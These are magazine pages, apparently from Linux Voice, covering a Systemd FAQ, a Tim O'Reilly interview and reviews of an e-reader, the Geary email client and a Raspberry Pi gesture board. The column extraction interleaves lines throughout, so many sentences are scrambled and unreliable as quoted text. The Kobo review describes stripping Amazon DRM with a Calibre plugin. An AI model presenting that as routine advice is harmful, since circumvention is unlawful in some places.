while you’re driving a car, without you system is often abbreviated to ‘SysV What was so bad with ‘init’ that
having to consciously think about them init’, and it’s this we mean when we it needed replacing?
all. And there are lots of daemons you refer to ‘init’. Init was a product of its time.
may already be aware of. Crond, for Many Linux distributions inherited the Everything that needed to be
example, is used to run scripts at a same system, even if they didn’t use the managed or launched did so from its
specific time or interval. dhcpd is used same runlevels. Debian, for example, own set of scripts, keeping things
by most of our computers to used a runlevel of 0 to stop the system, relatively simple in concept. Those
38 www.linuxvoice.com
SYSTEMD FAQ
scripts called upon whatever utilities attempts another, and it doesn’t take the music streaming service Spotify
were needed and installed within your much to imagine the delays this could offered support for Systemd after
system, and it also meant that almost cause in the boot process. Your boot saying “We have some 5,000 physical
anyone could tweak the scripts to get procedure could spend ages waiting for servers and well over a thousand virtual
their boot process doing exactly what a network connection, even if you didn’t servers using both public and private
they wanted. It was an extension of the need one, or waiting for an unrelated clouds running Debian GNU/Linux
old Unix philosophy of small, simple hard disk to be scanned. These are serving millions of songs to our users
tools being used in preference to both functions better suited to being every day.” Their arguments for Systemd
complex, over-engineered solutions. run in parallel, but this introduces encapsulate the reasons many people
The command line is a perfect example problems familiar to anyone who’s had think Systemd is the way forward:
of this philosophy, because while you to deal with concurrency or forking Its dependency model is easier to
can build very complex solutions within processes; you need to know which understand than Upstart’s.
its confines, most of the commands processes are dependent on which Features built on top of Systemd are
other processes. A Samba process that very useful.
“Systemd launches processes
needed to access remote files would be Systemd has the stronger community
dependent on the networking process, momentum.
in parallel and avoids the for example, and calculating the Additionally, Systemd launches
bottlenecks that blight init.”
relationship between all the things that processes in parallel and avoids the
make a running system is difficult. bottlenecks that blight init. It does this
But as new computers have become by using sockets for services so that
you execute perform only a simple task. faster and multi-cored, more and more daemons can talk to each other and
It’s the modularity of these commands, of these resources were being under- manages those sockets on behalf of
and the control you have over utilised by init, and many people daemons that haven’t started yet. It’s a
managing their input and output, that thought it was time for an alternative. clever idea.
creates the flexibility we all love. init
does this too. Aha! The appearance of Are there any disadvantages to
But init has suffered in several ways. Systemd! distros adopting Systemd?
First, because it’s so easy to modify and Exactly. Although Systemd wasn’t The main problem is that
has no formal system of the only contender in the fight to Systemd is different, and breaks
standardisation, almost every family of replace init. Ubuntu had switched to its the simple tool Unix tradition. It’s a huge
Linux distribution tweaked it in some own alternative, called Upstart, and for a and comprehensive project, and this
way. Red Hat moved files into /etc/ while it looked like many other has caused friction when people have
rc.d/init.d, for example, and that meant distributions would do the same. Red to learn both a new system and throw
that while installing the same start Hat, Fedora and OpenSUSE all used away hard-earned skills.
process should be straightforward, it Upstart at various times in the past, and It’s also complex and, some argue,
wasn’t. You had to take into account all it had the huge advantage of being over engineered for its purpose.
these changes. And as booting backward compatible with init while Perhaps more importantly, it’s Linux-
requirements became ever more addressing some of its shortcomings. only. But – and this is the important
complicated, maintaining all these point – Systemd has been proven to
scripts and their positions within the You seem to be using the past work, and it works well enough that
boot procedure became very difficult, tense again. many distributions have already moved
making things harder for developers, The end of Upstart came with a to Systemd. Significantly, the Gnome
users and system administrators when very public and contentious team have announced it will become a
they used more than one distribution. debate, as Debian decided how to dependency for installing the latest
replace init. Upstart and Systemd were versions of their desktop environment,
That sounds more like an the two favourites, and the Debian entrenching the technology deeper into
organisational problem than a Technical Committee eventually voted our operating systems.
technical one. Surely there’s another for Systemd. In a humble blog post,
reason to replace init? Mark Shuttleworth announced that Where can we find more
Indeed there is, and it’s our old Ubuntu would be dropping Upstart in details about how to use it?
friend performance. The world favour of Systemd after committing Not completely by coincidence,
was becoming obsessed with boot itself to whatever its upstream partner our very own Mike Saunders is
times – despite most of us only having (Debian)decided. These events have led currently working on a tutorial that
to go through the procedure maybe us to the point where Systemd is now should answer all your practical
once a day, or that for servers it’s a considered the default booting daemon. questions in our next issue, including
non-issue. But for a while boot times how to create and modify boot
became the machismo statistic of an So what makes Systemd better processes, in the way you may already
operating system’s vitality. init is than init or Upstart? be used to from init, and how to use
fundamentally sequential. That means During the great Debian debate, many of those weird Systemd tools that
it waits for one task to finish before it the infrastructure team behind are now part of your distribution.
www.linuxvoice.com 39
INTERVIEW TIM O’REILLY
OPEN SOURCE
AND THE FUTURE
OF PRINT IN THE
AGE OF THE
SOCIAL NETWORK
Graham Morrison meets Free Software, internet
and publishing visionary, Tim O’Reilly
T
here are many memorable and that the internet will become a
quotes attributed to Tim global brain of networks and things.
O’Reilly. Which isn’t surprising. At the same time, his publishing
He’s been talking for decades about company has given us many of
open data, the internet and the the (DRM free) titles we all rely and
direction technology is taking us. Like learn from, while championing open
Arthur C Clarke, much of what he’s source and open data. But there’s
predicted, talked about and written one quote in particular that resonates
has proven incredibly judicious. with us here at Linux Voice. It was
He popularised the ideas behind partly responsible for the inception of
‘Web 2.0’, as well as the incoming the magazine, and it’s one we think
wave and impact of social media. encapsulates the spirit of open source:
He believes in an open government “Create more value than you capture.”
Now that free software has a good example – portable health
effectively won the war, is it records. Being locked in is just as real in
still important for us to evangelise the internet era as it was in the previous
open source as much as it was a few software era. It’s just that the source of
years ago? the lock-in is no longer binaries and
Tim O’Reilly: There’s definitely still an software APIs. It’s much more about
open imperative. Open data is obviously the data that goes with the service.
a big area. We have a huge amount of But we still have to really think about
our data locked up in these proprietary how open data is more useful in the
social networks, and that stuff is same way that open source was more
important. Google is pretty good about useful. It’s pretty clear when I go to a certain financial data, we have that with
letting you get it out, but it’s not really doctor’s office (and again this is a US our browsing history – that would be
portable. The number of hoops you perspective) but if my data is locked up really useful. Some examples are more
have to go through if you want to get with one provider, I’m really hosed. critical than others, but I think people
stuff – you have to download it, you Because if I’ve got to go to a different need to make the case, “Wow, this
have to re-upload it. And they are the doctor, and they can’t get my records, would be more useful if it were portable
best at this. that’s a problem. And so that’s one of or if it were a standard.”
the reasons why Federal Government
And your downloaded data is has had this idea of what they call Open medical records sounds
now out of context. “Meaningful Use”, which gave a huge good, but how can we take
TO’R: That’s right. And there are a lot of incentive for physicians and hospitals advantage of big data without
other areas where useful services will and insurance companies to adopt putting our privacy at risk?
require data. The Blue Button [the portable health records because they TO’R: Healthcare is one of the areas
system used by patients in the USA to see that as so important. We have a where open data will potentially take off
gain access to their medical records] is similar kind of opportunity in the area of soonest and have the biggest impact.
40 www.linuxvoice.com
TIM O’REILLY INTERVIEW
“Being locked in is just as real
in the internet era as it was in
the previous software era.”
But there are a couple of overlapping life”? In order to do that you’re going to own hardware.
ideas; one is of interoperability, which is have to have some kind of interoperable TO’R: Really? It seems to me it’s not
different than ‘open source’. With the standards. Going back to health, the that dissimilar. You get the source code
internet of things, are we going to have same thing is true with all these sorts of for a program, you’d have to port it to
to have a separate app for every car, for quantified self devices. If we want to your architecture or you’d have to
every thermostat? Or are we going to have, from a user point of view, access rewrite it so it would run on your
say, “No, no, there’s some general app from multiple devices, you don’t want to machine versus, say, sitting there and
whereby I can control the things in my be locked into one company’s saying, “I want to get my data off of
ecosystem. We’re going to get there Fitbit and into my new ‘Google Fit’ so I
with some kind of open data standard. have the historical data.” I don’t see that
“Healthcare is one of the areas But it’s harder now for
as that different.
where open data will potentially potential ‘big data’ hackers, But with social networks, we’ve
have the biggest impact.” than for the original open source
hackers when they subverted their
still got the problem that the
context has been lost.
www.linuxvoice.com 41
INTERVIEW TIM O’REILLY
O’Reilly Media isn’t just a
publishing company – it also
puts on the massively popular
OSCON conference.
TO’R: There have always been the two To me, sharing is very real part of There are a lot of ways to get to it.
sides of open source. One was that it many important parts of the future. When you build general-purpose tools
was open, the other that it was free. Look at how the internet of things is that have open interfaces, people will
And before the era of the cloud, one of going forward, and robotics. There’s a learn to program because that’s how
the big imperatives was that things be lot of open source there in areas where you get more power over the system.
made open source because that way people are trying to figure things out, There are kids programming in Scala
you get them for free. But it’s not true in where there isn’t a very clear profit today because that’s how you build shit
the cloud era, because so many of the motive. They’re kind of going, “Hey, let on Minecraft!
services are free already, and me put my stuff out there. Let me show
proprietary. It used to be the case that you how to do this thing.” And they’re using Eclipse!
free and open went together, and TO’R: That’s right. So because
expensive and proprietary went So you’re mostly optimistic? you have an environment where
together. Now proprietary and free, as in TO’R: I just feel like, “My gosh!”, programming gives you power, you
price, are overlapping. you know, the entire maker revolution learn to program. We need to build
I have to say, though, I worry about powered by Arduino and then follow-on environments where people want to
some element of this discussion kinds of products – open source program because that’s how you get
because it looks back to this idea that hardware. That’s kind of awesome and good at doing whatever it is that you
somehow in the old days it was all good that’s just naturally became the driver want to do.
and now it’s bad, and I don’t think it’s of this next generation.
bad and I don’t think that there’s any Maybe coding isn’t so much of
reason to say, “Oh well, we need to go Do you think everyone should a thing. It’s more about giving
recreate the way it was in the past.” be able to code? people the ability to change the
What are the problems that people TO’R: No. I do think everyone should be technology they’re using?
have today with the way technology able to think computationally in some TO’R: I think it goes back to the Make
works? If you look at the Indie Web way. I think that first of all, I guess, magazine slogan, “If you can’t open it,
Movement, it’s a lot around “OK, we there’s coding and there’s coding. you don’t own it.” There’s sort of a
want to go back to the day when we Should everybody be a professional programming analog. But I do think that
were in control of our own data.” And coder? No way. Should everybody be the notion that everyone should learn to
that’s useful but at the same time you able to do more than just use a GUI? code feels a little bit, I guess, like when
have to say: “Look at all these people Absolutely. Should people be able to there was a period when kids were
who are choosing to use these services automate operations of a computer? subjected to piano lessons. Because
because it works for them.” I’ve never Absolutely. And should people be everybody should learn to play some
been that fond of, you know, “Though familiar with the power tools relating to music – and we got a lot of people who
shalt!” as a driver for any of this. our robot companions? Absolutely. come out hating music. And I think it’s
42 www.linuxvoice.com
TIM O’REILLY INTERVIEW
much better to say how do we create a though you don’t have immediate use If we could change the subject
world in which coding is fun, exciting, for it, but I feel that in general, our slightly… [PREGNANT PAUSE]
and kids want to do it, rather than just educational system is way too long on is print dead?
make it some kind of educational a list of requirements and way too short TO’R: No, but it’s trending that way!
imperative. It’s the same thing with on the kinds of things that make you There’s still a market that really values
math. Should every kid know math? want to learn. something in print, and it might be for
Absolutely. But should every kid be the convenience of paper. I can read the
forced to learn math the way they That’s why the Raspberry Pi New York Times online but I still get the
taught piano? Absolutely not, because has become so successful. And Sunday New York Times because it’s fun
they taught it wrong. perhaps what the Raspberry Pi to sit there with a coffee and leaf
The way that you learn math, if you Foundation didn’t anticipate was through it. It’s a better experience. But
really want to teach it right – you that so many people would just find from my own business, there’s a lot of
the device so cool to play with. evidence that people when offered print
“When you find something TO’R: When you find something cool
and you want to do it, you’re drawn into
or digital, they’ll choose digital. We offer
our books in print and the bulk of our
cool and you want to do it, the learning. One of my daughters was print books are still sold through retail
you’re drawn into the learning.” never interested in programming, never
interested in what I did. She got into
channels. I would guess that overall
we’re maybe selling 50/50 at this point,
music and now she’s taught herself to but print is almost all through retail
expose kids to things where they need program [Cycling74’s] Max because channels. When people are buying
to know math because they’re better at she’s like, “Oh, I need to be able to make direct from oreilly.com, it’s 90% digital
it when they know math, and they’re these sound effects.” She found her and 10% print.
going, “Wow, I discovered this secret way in through something she wanted
super power! If you used this formula…” to do. We’ve found that many people
that kind of shit is like magic and that’s Dale Dougherty, who started Make who spend all day on a
why some of the maker stuff is really and worked with me for a long time at computer may be reluctant to spend
great because it gets kids going “Wow!” O’Reilly before we spun it out into their spare time looking at a screen.
If you know this secret formula you can Maker Media, had this great line: “What TO’R: I’m wrestling with this myself. I
figure out how to build this thing better can you do with what you know?” And read a lot on a 7-inch tablet. I use the
– just like a cheat in Minecraft. Or if that kind of notion of helping people Kindle app, and in general I find it fine.
you’re building something. I remember figure out what they want to do that But I do think it’s one more electronic
when I started renovating a house, I gets them excited and then what they device that I’m using at night. You’re
was like, “Oh, that’s what some of this need to learn in order to be able to do trying to wind down, does it have the
trigonometry stuff is for!” I just never those sorts of things, is the really same effect? And when I do read print
had any application for it. critical thing. How would we expose again, I think, “Oh yeah, that was really
There are a lot of things that you more kids to interesting problems nice.” So I think we’re probably going to
want to learn more generally but even where coding is the answer? have a bit of a pendulum swing, and
During our Indiegogo campaign,
Tim O’Reilly retweeted our initial
announcement to his 1.8 million
followers.
www.linuxvoice.com 43
INTERVIEW TIM O’REILLY
good enough that I didn’t want to throw
it away, but not in that upper echelon,
and I look at those now and think I
would much rather have read those in
digital and not have them cluttering up
my house, and have a smaller set of
things I really love.
The thing that I probably miss most
about print, and we have yet to really
reproduce, is the carpet of memory that
a bookshelf gives. You know, when you
look at your bookshelf, particularly if
you’re somebody who likes books, it’s
almost like there’s this texture of
memory of all these things. You’re
looking at the spines, you know the
authors and there’s just this sort of, like,
little flavour; an aroma. For example, my
science fiction collection is 50+ years of
reading these books, including books I
was reading at just 10 years old. I
haven’t looked at some of them for 40
years, except for looking at the spine.
And that spine refreshes the memory.
Surely that doesn’t have to go?
TO’R: No it doesn’t. I don’t have a
big enough collection of digital books
yet but I’m pretty sure there isn’t a good
Sorry Tim: Linux Voice issue 5
is all sold out! way to organise them.
And there’s no good way of
certainly there’s evidence from of the characteristics that make print passing them on either.
publishing in general that print is not attractive, like the ability to leaf through TO’R: Yeah, exactly. On the other hand,
dead. There’s a new equilibrium, and we it in the same way. Yeah, you can kind there are some wonderful new
haven’t found where it is yet. of simulate the flipping of pages but affordances with a digital book. You
you can’t riffle through it in the same know, there are books that I really love
And some new potential… way. And I find most of those programs and now I can have them with me all
TO’R: There’s no question that pretty irritating. the time. I used to have two or three
the cost structures of digital are I’ve always loved books (I have books that I’d have multiple copies of
actually better than the cost structures probably 10,000 books) and they take because I’d have one in the office, one
of print, and so it’s better for publishers. up a lot of space. And I find that what I at home. I can have those, assuming
increasingly want nowadays is that if they have a digital edition, with me all
Do you think the problem of there’s a book that I really love, I like to the time. If there’s something I like to
digital editions has been have a print copy of it. And if I didn’t love quote a lot, I go “Yeah, I got it right here.”
solved yet? Have people tried too it, I’m glad not to have it take up the So there are pluses and minuses, and
hard to recreate a book or magazine space. So it’s really, to me, a question of that’s always the case as we move into
experience on digital platforms? an after market – of do you love this
TO’R: Oh absolutely. I find digital
editions of magazines completely
book, do you want to get a print copy?
“The willingness of people to
uninteresting. I’ve never been a huge Or buying the vinyl when pay for things that delight
magazine reader, but I don’t know why
I’d want to use a digital edition of a
listening to the digital version?
TO’R: I think about the books I’ve kept
them will not go away.”
magazine rather than reading stuff on through my life and if it was below a
the web. You know, if I’ve got to be on a certain threshold, I’d just get rid of it. the future. We lose some things, we
computer to look at this thing, just give And if it was up here, a book I really gain some things. We make trade offs
me the goddam article in web format. loved, I have 10 copies in different and we figure it out.
Don’t make me go through something editions. I have first editions and the
that’s a worse experience to reproduce cover is different, whatever. And then Do you think Amazon’s
than print because it doesn’t have any there’s that middle range where it was imminent subscription service
44 www.linuxvoice.com
TIM O’REILLY INTERVIEW
Tim holds a balanced view of
the positives and negatives
affecting the future of tech.
for books is going to be a good or said “We’re going to have open formats, concerned by the potential dominance
bad thing for publishing? and we’re going to make this stuff of Amazon.
TO’R: It’s hard to say, it depends a lot available so that people can buy
on how they do it. Effectively, if they say anywhere, read anywhere”. And it would In 2002, David Bowie said
we have this subscription service and have been great. But that’s life. The music supply will become like
somebody reads it and we’re going to whole thing with publishers and running water or electricity. Do you
pay the author and the publisher as if Amazon, to me, is going to be a think that could happen to the
they bought it, then it kind of is business school study some day. I content we create?
economically equivalent, except for the always think, “Here Google enters the TO’R: I think that’s fair. How long a
fact of course that it’s one more nail in market with an approach that could period of time are we talking about?
the coffin of any alternate distribution potentially have been competitive to Effectively, the era of recorded music in
method. And the problem with Amazon Amazon, brought another major which that was so wonderful is, what,
long-term is the Walmart problem, competitor to the market, and the 70 years? And there was no good
which is that you become so powerful publishers sue Google.” What were music before then? Bullshit. There was
that you start squeezing your suppliers. they thinking? great music. And it got paid for some
And of course, by the time Apple different way. I think that the willingness
Yeah, and publishers are comes into the game, you know, the of people to pay for things that delight
paying for the privilege of publishers go and try to make a deal them will not go away. And if the
having their titles stocked in places with them and they get sued system starts failing the users – if the
like grocery stores/supermarkets. themselves. It’s sad. But in the end, I artists really aren’t getting paid and they
TO’R: Exactly. And that’s not really don’t know that it really matters. I think say, “Screw it, we’re not going to do
healthy. That’s the thing that worries that the more things change the more what we do any more,” that will be a
me the most about Amazon, and why things stay the same, as they say. It’s problem, right? I don’t think that’s going
always our approach – and this is a big always possible to say the sky is falling to happen.
piece of our philosophy on DRM-free because it’s falling for you. But it’s very Somebody’s going to come along
ebooks – it was, “look publishers, don’t rarely falling for everybody. There are and figure out how to get paid. I think
you see the path that we’re going big times in history when it really does Amanda Palmer is a good example,
down? Because Amazon is the biggest fall for everybody and we should be “You like what I do, here’s how you’re
channel for digital and they have a worried about those. But because one going to pay me.” And think there are
proprietary locked-in format, effectively kind of supplier beats out another is not going to be more experiments and we
you can’t sell! Or you can’t in any one of those times – and in fact, by all will develop more economic models
effective way. Sure you can sell a MOBI evidence, independent book stores are because creators don’t want to stop
file and people can go through hoops to thriving. It’s the chains [that are creating and customers don’t want to
load it. You’re screwing yourself.” suffering] – you have one class of stop enjoying what they create and the
There was a time when publishers predator who was taken out by another. middleman has changed, but it doesn’t
could have really worked on this and As a publisher, though, I am certainly matter in the long run.
www.linuxvoice.com 45
INTRO REVIEWS
REVIEWS
The latest software and hardware for your Linux box, reviewed
and rated by the most experienced writers in the business
On test this issue...
48 50
Andrew Gregory
Winter is coming. Better huddle around the
server to keep warm.
W
e don’t want to be accused
of dumbing down, but the Kobo Aura H2O Geary 0.8
reviews section this issue Bibliophile Graham Morrison finds a Always one for zen minimalism,
has something of a simple theme to it. water-resistant ebook reader to take with Ben Everard likes the simple things in
The Hover plugs into a Raspberry Pi so him to the sauna – something he can’t do life – including this wonderfully pared-
it can accept gesture controls. Short of with his leather-bound Byron volumes. down email client.
clapping your hands to make a switch
come on and off, this has to be the
simplest (some would say most 51 52 53
limiting) way of interacting with a
computer, like an ape with a stick.
Gnome has always tried to be
streamlined, picking sensible defaults
so as not to overload the user. The
MoPi has just one configuration screen
– it’s made for people who want to get
Hover Gnome 3.14 MoPi
thigns done, rather than spend ages on Minority Report promised us Mike Saunders wants an Gadget king Les Pounder
the minutiae of setting up a system. gesture controls. Now the interface that looks good, gets to play with a battery
Hover brings them to our gets out of the way and lets pack and power manager,
Remove that which is unneccessary Raspberry Pi. Les Pounder him get on with his work. Is for when he’s hacking in a
The apotheosis (some would say nadir) waves his arms about… Gnome up to that task? field in Hampshire.
of this philosophy is Geary. This has
almost no configuration options, yet it’s
in development because simplicity is a BOOKS AND GROUP TEST
feature. Now comes my point. If we
Spreadsheets aren’t the most thrilling applications at
choose to use simple tools, that doesn’t
the best of times, but when they crash halfway
mean we’re simple people – far from it. through an operation or otherwise garble your
We’ve chosen simplicity. We’ve opted in figures, they raise the pulse in other, less pleasant
to making our lives easier so we can ways. That’s why you need to find the best office
devote more brain energy to other, more suite possible, and that’s why we have included five
of the best office suites for Linux in our Group Test
fruitful pursuits. Don’t knock simplicity.
this issue. And in our selection of the best books this
Embrace the freedom to delegate month, there are guides to AngularJS, a call to arms
choice to the developers. Most people for the networked age and a work of genius from the
don’t get to choose not to choose. man behind the XKCD web comic.
andrew@linuxvoice.com
www.linuxvoice.com 47
REVIEWS ELECTRONIC READER
Kobo Aura H2O
Water baby Graham Morrison thinks he’s found the perfect
partner to the new EPUB edition of Linux Voice.
I
n case you’ve missed the news, we now provide
DATA our subscribers with both a DRM-free PDF of each
Web
issue and an EPUB version. EPUB is short for
www.kobo.com electronic publication, and rather than locking you to
Developer the static layout of a PDF file (albeit a layout we’ve
Kobo Inc. injected a lot of love into), an EPUB is more like
Price viewing HTML. In particular, an EPUB reader will focus
£139.99
purely on the text, allowing the content to merrily
reflow into whatever form factor you’ve arranged for
your reader. Layout and images are always a
secondary concern. But the best thing about EPUB is
SPECIFICATIONS
that it’s the perfect format for an ebook reader
CPU Freescale i.MX507 because ebook readers are good for only one thing –
at 1GHZ reading words. Rather than the pixel-driven, backlit,
RAM 512MB
power-hungry screens on our phones, tablets and
Screen 6.8-inch Carta
Resolution 143x1080, laptops, the ‘e-ink’ displays of an e-reader have similar
265 dpi. properties to those of a paper book; they’re light and
Storage 4GB portable, you read by reflected light and the effective
Connections Micro SD organic resolution of the text is almost indiscernible
and USB
from print. Plus they take almost no power. Effectively, An e-reader that works with Linux and lets you read your
Network Wi-Fi 802.11
b/g/n you don’t feel like you’re reading from a screen favourite magazine in the bath. Surely 5/5?
Size 129 x 179 x 9.7 mm anymore – it feels much more like reading from a
Weight 233g book. When you add this to the convenience of never reflective and a real pleasure to read from, whether
losing a folded corner, of carrying hundreds of books that’s by a candle or in direct summer sunlight. In
with you and of updating your device with the latest dusky conditions, the invisible white LEDs secreted
issue of Linux Voice, it’s an essential device. along the bottom edge pour light across the display
Which leaves Linux users with a quandary – which in a way that’s barely perceptible, but the whole
e-reader to purchase? The most famous, of course, is background glows with a very comfortable, very
Amazon’s Kindle range. These are fantastic devices uniform light that makes the text perfectly legible,
that are good value for money. But they tie you to even in the pitch dark of Count Dracula’s guest
Amazon’s restrictive DRM covenant and won’t work accommodation.
well with Linux, let alone allow you the privilege of
reading Linux Voice. So when we saw that a company Hard ware in soft water
with devices known to work well with Linux, Kobo, When you first turn the device on, your heart sinks
was releasing a new reader, and one that you can because the first screen asks you to connect the
use in the bath, we had to ask them for one. And they device to your computer, and Kobo seems to have
thankfully obliged. abandoned its Linux desktop client. However, we
The Kobo Aura H2O is the device in our hands. It’s connected the device as requested, and luckily, the
light and smaller than any book we’ve read. It has process continued and allowed you to set up the
a single button on the top-right, and when pressed, device over Wi-Fi (why the cable, then?). It’s a simple
the screen goes through the e-ink jiggle familiar to case of following the instructions and either using the
any e-reader user. The device uses the latest ‘Carta’ store, or connecting the device as external storage
Micro USB and Micro SD display, which is the same as used in the Kindle and copying your files over. It really is that simple.
ports are hidden behind a Paperwhite, but this beats the Paperwhite in both Input is via the infrared touchscreen. You swipe
waterproof door. resolution and dots per inch. It’s incredibly bright and left and right to change pages, swipe up the left-
hand side of the screen to change the brightness
and touch various parts of the screen navigate the
user interface. The reason for the slight clunkiness,
and why it doesn’t use a capacitive touchscreen, is
the device’s killer feature – the H20 is waterproof.
Kobo claims it can last for 30 minutes up to 1 metre
beneath the surface. This is a first for an e-reader
(other than modified Kindles), and it’s a genuine boon
48 www.linuxvoice.com
ELECTRONIC READER REVIEWS
Get books onto your Aura H20
As we briefly explained in the main text, the H20 edition is too new to be supported,
you can simply connect the device to your and the manual process isn’t really that
Linux machine and copy the files you need difficult.
into the root of the storage area. After you You can even perform the same task
disconnect, the Aura will re-appraise its wirelessly. In Calibre, just start the ‘Content
library and present a new list of books for Server’ from the Sharing menu, and point the
you to read. It really is that simple, and it Aura’s browser at port 8080 on the IP address
works faultlessly from any desktop. We used of your Linux machine – these details are
Calibre 2.4 (see our review last month) with given in the Sharing menu. From the web
the amazing amazon_drm plugin to access page that appears, you can download any of
our trusty Kindle library, and copy over our your books without physically connecting
book collection while at the same time and save them to your library. This is ideal
removing Amazon’s DRM. We then converted if you purchase books from online retailers
these files into EPUB before manually who refuse to cripple their titles with DRM
copying them to the Aura. Calibre would and you need a central repository to store Liberate your Amazon Kindle book collection with a little
usually talk to your device automatically, but your copies and send them to your devices. help from Calibre and a wonderful plugin.
for those of us who enjoy reading in the bath. It felt Reading is a real pleasure, regardless of where you
a little strange taking the device into the water, but are. While we normally prefer buttons to swiping the
fortunately, the only hitch we experienced was slightly screen, we were able to turn pages while holding the
too much bubble bath. The Aura performed perfectly, Aura with a single hand. Touching a word brings up
and we could even interact with the display whilst the the essential dictionary, and you can both highlight
device was submerged. a section and make notes, although the on-screen
keyboard isn’t very fast. Touching the screen again
Fantastic Voyage removes the user-interface that appears, rather than
The ‘Home’ page provides access to the Kobo store, waiting for a non-existent timeout.
your own library, and a couple of handy extras, There’s also a lot of control over the 12 installed
including reading statistics and a dictionary. The store fonts, including OpenDyslexic, a typeface designed to
itself seems well stocked, although the books use help readabilty. You can fine-tune both the font size
Adobe DRM, which we’re reluctant to recommend. At and the weight of the font rendering, as well as the
least you have some option if you only realise in the line spacing and margins, and we found the results
departure lounge that you’ve forgotten a good read. to be worth the effort but that could be because
The only remote connection is through Wi-Fi, which is we prefer a high word density.
fine for us, and the 3.2GB free out of the 4GB of We can’t emphasise enough how
internal memory is more than enough for a few good
reads. However, there’s a micro SD card reader hidden
comfortable and how rewarding it
feels reading off this screen.
“The only hitch we
alongside the micro USB port that can be used to File compatibility is excellent, experienced was slightly
expand storage up to 32GB, which is fabulous. To
access both ports you have to peel back a protective
as long as you stick with EPUB.
Image formats were handled
too much bubble bath.”
plastic door on the bottom of the units, which is used decently, but they don’t look great
to make them both waterproof. on any e-ink display – the imperfect placement of
the pixels and the greyscale makes images feel like
cheap newsprint. Smaller PDF files work, but our own
PDFs constantly asked too much of the Aura, often
requiring a paperclip inserted into the reset hole. This
is a device for EPUBs and EPUBs only, which is fine by
us, because its EPUB support is brilliant. In the week
we had the device for testing – and we read lots in
and out of water – we used only around 10% of the
battery life, so even with the subtle lighting, it’s likely
the Aura will last the duration of a transatlantic cruise.
And to put it simply, we loved it.
LINUX VOICE VERDICT
A little expensive, but it works with
Linux, it looks amazing and you can
There’s a lot of control over the device’s font rendering – read it in the bath.
you can even make it virtually indistinguishable from a
1970s era Penguin Classic.
www.linuxvoice.com 49
REVIEWS GEARY 0.8
Geary 0.8
Email should be as simple as possible, but no simpler.
Ben Everard finds out which side this new email client sits on.
I
n computing terms, email is ancient. It pre-dates
DATA the web. It pre-dates the internet, and in some
Web
form, it even pre-dates Arpanet. It’s become
https://wiki.gnome.org/ ubiquitous and something that computer users
Apps/Geary expect to ‘just work’ on any computer.
Developer Linux has its fair share of email clients, from the
Yorba terminal-based Mutt to the all-singing-all-dancing
Licence
LGPL
Thunderbird. However, what it didn’t have until recently
was an email client focused on ease of use. This is the
niche that Geary is now trying to fill.
Despite failing to reach the $100,000 target on Geary’s conversations view helps you follow the flow of
its crowdfunding campaign (and therefore getting messages, but it can get unwieldy with large emails.
nothing) in April 2013, Yorba – the development
team behind Geary – have continued to develop the let’s look at the features. Well, the biggest new feature
software albeit at a slower pace than we would have in version 0.8 is signatures. Yep, those bits of text that
otherwise expected. It has just reached version 0.8. you add to the bottom of the email. They’ve only just
The design philosophy is probably best summed landed in version 0.8, so that should give you an idea
up by the preferences dialog. It contains a mere about the level of completeness.
six options (all of them on/off), half of which are Connection to an email account is easy, provided,
around notifications (the remaining three are on that is, it’s an account from Gmail, Outlook.com or
spellchecking, previews and moving to the next Yahoo. If it’s not, you’ll have to set up the account
message). Want to change the frequency it checks manually using the IMAP and SMTP details. Once
the server? No such luck. Prefer a different font? Nope. set up, the interface is perhaps a little closer to most
Like to set up a filtering rule? Not here. webmail accounts than most standalone email
clients. Everything stays in one window, including
Simple minds composing emails. Thanks to the new composer,
If this sounds like madness to you, then you might as replying now happens in-line with the conversation
well stop here – Geary isn’t going to be for you. Yes, it on the main pane of the window. This is great for
will probably get more features in the future, but its knocking off quick answers, but again, power users
whole raison d’être is based around its simplicity, and might find it a bit simplistic (you can break out into
that’s incompatible with fine-grained control. another window if you wish).
If you’re still reading, then you’re probably intrigued The elephant in the room with Geary is the lack of
about the possibility of a minimalist email client, so GPG/PGP encryption support. It would, of course,
be possible to do the encryption elsewhere and just
paste the cypher text into the email, but if you’re
going to do that, why not just use a client that
supports it? There is a bounty available for whoever
implements encryption (www.bountysource.com/
issues/1353854-transparent-encryption-and-
signing-with-gpg) that’s standing at $55, but if it’s a
feature you’d like, you can add money to the bounty.
Ultimately, some people will love Geary for its
simplicity, while others will hate it for its lack of
options. This is the case now and will almost certainly
be the case in future releases. You just have to decide
which side you’re on – give it a go!
LINUX VOICE VERDICT
The full range of Geary is easy to use, looks great and
configuration options works well, but only if you can put up
for Geary. No, there’s not with the lack of options.
much here – and that’s the
whole point.
50 www.linuxvoice.com
HOVER REVIEWS
Hover
One year earlier than Back To The Future II promised us hoverboards
for all, Les Pounder connects one to his Pi. Great Scott!
F
or many years we have used the traditional Hover easily connects to
combination of keyboard and mouse as our the Raspberry Pi using
main method of input. But in recent years, with only six connections to
the introduction of mobile devices with touchscreen the GPIO, enabling it to
and accelerometers, touch and gestures have be integrated into your
become alternative methods of input. projects with minimal fuss.
The Hover board is a touch and gesture controller
that works with Arduino, Spark Core and all versions
of the Raspberry Pi. It uses a sensor to detect user
input and passes this data to the device, which
can then act upon the input. Hover provides a
programmable user interface that can enable new
methods of control for your project.
Hover is powered by an MGC3130 single-zone
3D tracking and gesture control chip, which uses
electrical near-field sensing to enable gesture and
touch control using natural human movement. To
interface Hover to a host board it uses a mixture
of I2C (Inter-Integrated Circuit) connectivity along
with extra pins for power and controlling the board.
Hover can work with both 3V3 and 5V logic, enabling
seamless use between the various platforms.
Raspberry Pi Model B
Connecting the Hover to the Raspberry Pi Model B is a
simple task. Using the great guide on the Hover
website, we were quickly able to install the necessary
Python library and test the board was working within
15 minutes of opening the box. The Python library is Just like the Raspberry Pi, the Arduino installation is
well documented and provides everything needed to a simple task, merely requiring the installation of the DATA
hack a great project together. In little under an hour we Hover library inside of your sketchbook/libraries folder.
Web
were able to learn the events triggered by gestures Using the example sketch, we were able to quickly test www.justhover.
and touch, and create a simple loop that looked for that our board was working with the Arduino. With this com/#hove
input and, when received, played audio using the test complete, we wrote a sketch to take advantage Developer
pygame audio mixer library. of the Leonardo’s ability to mimic a keyboard and Emran Mahbub and
Jonathan Li
mouse. This, coupled with the Hover, enabled us
Price
to quickly create a gesture controlled workspace $39
switcher and web page scroller.
Hover is a novel and easy-to-use interface that
can bring new and clever methods of interaction to
projects, from fun projects such as gesture-controlled
cameras and sound boards, to serious real-world
applications for users with disabilities or specialist
requirements. Hover is a great, simple hardware
project for hackers of all abilities that’s bursting with
limitless possibilities.
LINUX VOICE VERDICT
